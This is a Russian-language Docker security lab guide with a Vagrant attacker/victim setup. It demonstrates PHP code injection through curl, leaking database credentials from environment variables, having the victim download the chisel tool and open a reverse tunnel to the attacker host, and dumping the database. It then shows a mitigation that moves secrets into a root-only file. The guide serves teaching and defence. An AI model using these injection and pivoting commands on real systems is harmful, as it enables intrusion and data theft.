---
# System prepended metadata

title: Docker Security

---

# Docker Security

## Руководство к практике №2

### Для выполнения потребуется:

- virtualbox
- vagrant
- ansible
- набор файлов из директории `Lab#2`

## Описание сценария тестирования

Стенд состоит из двух виртуальных машин `hacker` и `victim` объеденных сетью. На VM `victim` в docker-окружении запускается 2 контейнера. Уязвимое веб-приложение и БД MariaDB. При этом порты контейнера MariaDB не будут выставлены наружу. Доступ к БД можно будет получить только из контейнера с web-приложением.

Настройки хостов:
- `victim` IP: 192.168.56.6;
- `hacker` IP: 192.168.56.7.

Чтобы собрать лабораторную необходимо зайти в директорию `Lab#2` и выполнить команду:
```
 $ vagrant up
```

Для запуска примера выполните следующие шаги на хосте `victim`:
```
$ vagrant ssh victim
vagrant@victim:~$ cd /vagrant/victim/
vagrant@victim:/vagrant/victim$ docker-compose up --build -d
```
После этого на хосте `victim` запустится два контейнера: с уязвимым web-приложением и с БД mariadb, которая не имеет открытых в хостовой системе портов.

## Тестирование

Зайдём в VM `hacker`:
```
$ vagrant ssh hacker
```

Проверим от имени какого пользователя запущено web-приложение, для этого выполним команду `id`:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('id');"
  <h1> Hello world!</h1>
  uid=1000(web) gid=1000(web) groups=1000(web)
  <br>
```

Теперь получим список переменных окружения:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('env');"
  <h1> Hello world!</h1>
  ...
  MARIADB_DATABASE=production
  MARIADB_HOSTNAME=mariadb
  MARIADB_ROOT_PASSWORD=strongpassword
  MARIADB_PASSWORD=verystrongpassword
  MARIADB_USER=prod
  ...
  <br>
```

Как видим из листинга, в переменных окружения имеется конфигурация соединения с БД сервером. Да же есть hostname этого сервера `MARIADB_HOSTNAME`. Предположительно запущенного то же в докере на том же хосте. Проверим имеется ли сетевой доступ до этого хоста:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('timeout 1 bash -c \'cat < /dev/null > /dev/tcp/mariadb/3306\' && echo Open || echo Closed');"
  <h1> Hello world!</h1>
  Open
  <br>
```

Что бы не мучиться с пробросом DNS, определим IP адрес сервера mariadb:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('getent hosts mariadb');"
  <h1> Hello world!</h1>
  172.18.0.2      mariadb
  <br>
```

Как мы видим у web-приложения есть сетевая связанность с сервером БД. Так в docker-контейнере нет приложения для работы с сервером БД, чтобы полчить данные из БД. Воспользуемся техникой `pivoting` для получения доступа к БД. 
Воспользуемся приложением [chisel](https://github.com/jpillora/chisel):
```
vagrant@hacker:~$ curl -L https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_linux_amd64.gz --output chisel.gz
vagrant@hacker:~$ gzip -d chisel.gz
vagrant@hacker:~$ chmod +x chisel
```

Загрузим приложение на `victim` и запустим его:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('curl -L https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_linux_amd64.gz --output /tmp/chisel.gz 2>&1');"
  <h1> Hello world!</h1>
    % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                   Dload  Upload   Total   Spent    Left  Speed
  100   651  100   651    0     0   3518      0 --:--:-- --:--:-- --:--:--  3518
  100 3346k  100 3346k    0     0   789k      0  0:00:04  0:00:04 --:--:--  870k
  <br>
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('cd /tmp && gzip -d chisel.gz && chmod +x chisel');"
  <h1> Hello world!</h1>
  <br>
```

Запустим серверную часть chisel на хосте `hacker`, для этого откроем новый терминал и выполним:
```
$ vagrant ssh hacker
vagrant@hacker:~$ ./chisel server -p 8008 --reverse
  2020/11/29 15:02:22 server: Reverse tunnelling enabled
  2020/11/29 15:02:22 server: Fingerprint tyWC23cR/aMoDOJKIjwdXIlzirzNP4bkS3KNRlLa78k=
  2020/11/29 15:02:22 server: Listening on http://0.0.0.0:8008
```

Теперь запустим chisel на хосте `victim` при помощи команды:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('/tmp/chisel client 192.168.56.7:8008 R:3306:172.18.0.2:3306 2>&1');"
  <h1> Hello world!</h1>
  2020/11/29 15:04:51 client: Connecting to ws://192.168.56.7:8008
  2020/11/29 15:04:51 client: Connected (Latency 2.219222ms)
```

Откроем ещё один терминал на `hacker`:
```
$ vagrant ssh hacker
vagrant@hacker:~$ mysqldump -h 127.0.0.1 -uprod -p production
  Enter password: 

  <...>
  LOCK TABLES `flag` WRITE;
  /*!40000 ALTER TABLE `flag` DISABLE KEYS */;
  INSERT INTO `flag` VALUES (1,'Flag captured');
  /*!40000 ALTER TABLE `flag` ENABLE KEYS */;
  UNLOCK TABLES;
  /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
  <...>
```

:::success
## Как митигировать уязвимость. Способ №1

Единственным решением является отказать от передаче паролей через переменные окружения. Но необходимо предложить альтернативу так как эта информация необходима для формирования конфигурационных-файлов
и пр. 

Я предлагаю сохранять конфиденциальную информацию в отдельный файл и монтировать его с правами доступа только для пользователя `root`.
В момент выполнения init-скрипта эти переменные будут загружаться формироваться файлы настроек и выгружаться из окружения.

Для реализации данного способа необходимо внести следующие изменения.

В Dockerfile:
```
...
RUN mkdir /run/secrets && chown root:root /run/secrets && chmod 0700 /run/secrets
...
```

В init-script:
```
#!/bin/bash

if [ -f /run/secrets/secrets ]; then
  . /run/secrets/secrets
fi

...

#Clean security sensitive variable
if [ -f /run/secrets/secrets ]; then
  awk -F'=' '{if ($1!="") {print $1}}' /run/secrets/secrets | while read -r VAR; do
    unset "$VAR"
  done
fi

exec sudo -E -u web "$@"
```

В docker-compose.yml
```
  webapp:
    build:
      context: .
      dockerfile: Dockerfile
    volumes:
      - ./.env:/run/secrets/secrets:ro
    ports:
      - "80:8080"

```

Внесём эти изменения и перезапустим приложение:
```
vagrant@victim:/vagrant/victim$ docker-compose stop
  Stopping victim_webapp_1  ... done
  Stopping victim_mariadb_1 ... done
   docker-compose up --build -d
  Building webapp
  Step 1/8 : FROM php:7.4-cli
   ---> 639632eff06b
  Step 2/8 : WORKDIR /app
   ---> Using cache
   ---> d97dd703f6bd
  Step 3/8 : RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/*
   ---> Using cache
   ---> c1613a4f253c
  Step 4/8 : RUN mkdir /run/secrets && chown root:root /run/secrets && chmod 0700 /run/secrets
   ---> Running in 35d2cb627010
  Removing intermediate container 35d2cb627010
   ---> df4fef6566a2
  Step 5/8 : COPY index.php index.php
   ---> 6f9695706c5c
  Step 6/8 : COPY init /usr/local/bin/
   ---> d5184d07c478
  Step 7/8 : ENTRYPOINT ["/usr/local/bin/init"]
   ---> Running in 1a2750eaa5a8
  Removing intermediate container 1a2750eaa5a8
   ---> 46d9cdba9119
  Step 8/8 : CMD [ "php", "-S", "0.0.0.0:8080" ]
   ---> Running in 6ee1b56699e7
  Removing intermediate container 6ee1b56699e7
   ---> f78643b8c10c

  Successfully built f78643b8c10c
  Successfully tagged victim_webapp:latest
  Starting victim_mariadb_1  ... done
  Recreating victim_webapp_1 ... done
```

Попробуем теперь получить значения переменных окружения с хоста `hacker`:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('env | grep MARIADB');"
  <h1> Hello world!</h1>
  <br>
```

Как видим переменных связанных с настройкой mariadb в переменных окружения нет.
Попробуем получить их непосредственно из файла `/run/secrets/secrets`:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('cat /run/secrets/secrets 2>&1');"
  <h1> Hello world!</h1>
  cat: /run/secrets/secrets: Permission denied
  <br>
```

Стоит помнить, что запускать приложение от привилигированного пользователя нельзя иначе это сломает способ митигации недостатка.

:::

:::warning

## Как митигировать уязвимость. Способ №1

consul-template
:::

## Полезные материалы для изучения 

- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md
- https://github.com/jpillora/chisel